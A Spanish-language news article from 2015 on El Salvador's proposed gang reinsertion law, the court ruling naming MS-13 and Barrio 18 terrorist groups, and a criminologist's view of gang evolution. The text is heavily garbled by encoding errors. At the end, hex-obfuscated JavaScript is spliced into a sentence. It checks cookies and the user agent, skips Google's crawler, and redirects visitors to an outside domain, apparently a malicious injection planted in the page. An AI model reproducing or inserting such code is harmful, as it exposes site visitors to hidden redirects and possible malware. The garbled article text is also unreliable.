Noticias

27 Oct 2015
Noticias | Por: Redacción

Los pandilleros y su posible reinserciA?n a la sociedad salvadoreAi??a

El Ejecutivo hizo pA?blica su intenciA?n de que sea aprobada la Ley de ReinserciA?n de Pandillas, la cual se presentA? ayer en la Asamblea Legislativa. Estos grupos delincuenciales han ganado la apatAi??a de la poblaciA?n debido a los supuestos actos de violencia que han cometido en los A?ltimos aAi??os, que han contribuido a agudizar la crisis de seguridad ciudadana.

El Ejecutivo dio a conocer este fin de semana, en su programa ai???Gobernando con la genteai???, que esta semana presentarAi??a a la Asamblea Legislativa una propuesta de ley para propiciar la reinserciA?n de miembros de pandillas, como parte de una apuesta integral que abarca el combate del delito, pero tambiAi??n la prevenciA?n y rehabilitaciA?n de aquellos miembros que deseen salirse de sus respectivos grupos. A la fecha, se estima que al menos unas 500 mil personas guardan alguna relaciA?n con las pandillas.

De acuerdo con el presidente de la RepA?blica, Salvador SA?nchez CerAi??n, el Ejecutivo se enviA? el dAi??a de ayer una propuesta de ley para que los pandilleros sean reinsertados a la sociedad, cuando decidan ya no formar parte de estos grupos delictivos, que a la fecha se estima que existen mA?s de 30 mil miembros activos, segA?n datos del Ministerio de Justicia y Seguridad PA?blica (MJSP). Esta normativa tendrAi??a como objetivo la prevenciA?n, rehabilitaciA?n y retiro de sus miembros cuando ya no quieran formar parte de ellas. ai???Queremos tener una ley para darle oportunidad a esas personas que estA?n en riesgo, que han optado por ese camino, pero que quieren regresarai???, afirmA? el mandatario durante su programa ai???Gobernando con la genteai???.

Esta propuesta de ley responde a uno de los ejes contemplados en el Plan El Salvador Seguro, presentado en enero de este aAi??o, con el cual se pretende combatir la violencia y la inseguridad, que en los A?ltimos meses se ha agudizado en el paAi??s. SegA?n el eje 3 de dicho plan, destinado a la reinserciA?n y rehabilitaciA?n, existe una ai???sobrepoblaciA?n y el hacinamiento de centros de privaciA?n de libertad debilita las capacidades para el control, la atenciA?n, rehabilitaciA?n y reinserciA?n de las personas privadas de libertad, favorece la corrupciA?n, vulnera la seguridad de los recintos y propicia la comisiA?n de hechos delictivos desde los centros penalesai???. De ejecutar esta iniciativa de rehabilitaciA?n y reinserciA?n, el Consejo Nacional de Seguridad Ciudadana y Convivencia (CNSCC) estima que se invertirA?n 180 millones de dA?lares por los prA?ximos cinco aAi??os, que se obtendrAi??an de ai???nuevos prAi??stamos, contribuciones privadas, cooperaciA?n internacional y contribuciones especialesai???, segA?n reza el documento.

infopandillas

Declarados grupos terroristas

En septiembre de este aAi??o, a travAi??s de un comunicado, la Sala de lo Constitucional de la Corte Suprema de Justicia (CSJ) declarA? como grupos terroristas a las pandillas MS-13 y Barrio 18. Los magistrados consideraron que estos grupos cometen terrorismo, es decir, un ai???ejercicio organizado y sistemA?tico de la violencia, que mediante afectaciones concretas de bienes individuales o colectivos busca intimidar de forma general a la poblaciA?n, controlar territorios, compeler a las autoridades gubernativas a negociar concesiones penitenciarias o de otra Ai??ndole, afectar el sistema econA?mico de la naciA?n, el marco de la institucionalidad democrA?tica y el sistema de derechos fundamentales contemplados en la ConstituciA?nai???, asegurA? la sentencia de la Sala.

Algunas de las argumentaciones usadas por los magistrados para que estos grupos sean considerados terroristas es porque realizan atentados sistemA?ticos contra la vida, seguridad e integridad de los ciudadanos, ademA?s de las autoridades civiles, militares, policiales y penitenciarias. Asimismo, incumplen la ley al practicar los delitos de extorsiA?n, ya sea a personas naturales o jurAi??dicas y porque les impiden a los ciudadanos residir en el lugar que deseen y violan el derecho al libre trA?nsito en el territorio salvadoreAi??o.

El ciclo evolutivo de las pandillas

Para Carlos Ponce, experto en criminologAi??a y quien se ha desempeAi??ado como analista de la FiscalAi??a General de la RepA?blica (FGR), las pandillas tienen un ciclo evolutivo bien identificado. AsAi??, en el primer nivel las pandillas solo buscan satisfacer sus necesidades inmediatas de dinero para gastar en drogas o placer ai???y es allAi?? donde surgen crAi??menes o actos delincuenciales esporA?dicos que son fruto de la bA?squeda de necesidades inmediatas. En un inicio, la mayorAi??a de delitos que cometen son reactivos, no tienen mayor planificaciA?n, no buscan objetivos a largo plazo. Lo que hacen es depredar su medioambiente, que se le llama la fase depredadora del crimen organizadoai???, explica este criminA?logo.

De acuerdo con Ponce, con el tiempo estos delitos van evolucionando y ya no buscan una ratificaciA?n inmediata sino que los hechos delincuenciales son un vehAi??culo para otro fin que estA? relacionado con una retribuciA?n econA?mica, lo que explica de mejor forma conociendo que el pandillero va creciendo en edad y en madurez mental. SegA?n este experto, ai???no es lo mismo hablar de un pandillero de 14 aAi??os que uno de 20. El de 20 ya tiene un hogar o varios, muchos hijos, probablemente sus padres ya no pueden trabajar, o el papA? muriA? y la mamA? tiene que ver por sus otros hermanos. Esto conlleva responsabilidad y el enfoque del pandillero cambia, empieza a pensar que a travAi??s de sus actividades delictivas tiene que generar dineroai???.

Para este fin, de acuerdo con Ponce, el pandillero va a cometer actividades delincuenciales que reporten mA?s beneficios econA?micos, incluso eso puede llevar al pandillero a hacer alianzas con miembros de pandilla contrarias, con los que se peleaba aAi??os atrA?s. Entonces llega a otro paso en la evoluciA?n: el pandillero se da cuenta que para realizar los delitos mA?s lucrativos necesita de mayor logAi??stica. Dichos delitos son mA?s complejos y para ello necesita interactuar de forma diferente con su entorno, con el objetivo de poder explotarlo de mejor forma. De acuerdo con Ponce, ai???empieza a identificar en su entorno los actores claves para incursionar en las actividades delincuenciales mA?s complejas, actores que les puedan ser A?tiles, entre ellos los polAi??ticos. Cuando las pandillas llegan a este punto han acumulado poder econA?mico e influencia tal que han logrado que su entorno tambiAi??n puede explotarlos a ellosai???. Es decir, su entorno como la iglesia, polAi??ticos, organizaciones no gubernamentales, entre otros actores, buscan su beneficio al ayudarles a estos pandilleros, entre ellos los programas de reinserciA?n social.

Posteriormente, como explica Ponce, instituciones legAi??timas llegan a una interacciA?n directa con estos grupos delincuenciales, ya no lo hacen a travAi??s de las leyes, sino de forma directa como sucediA? con la tregua, durante los A?ltimos aAi??os del expresidente Mauricio Funes.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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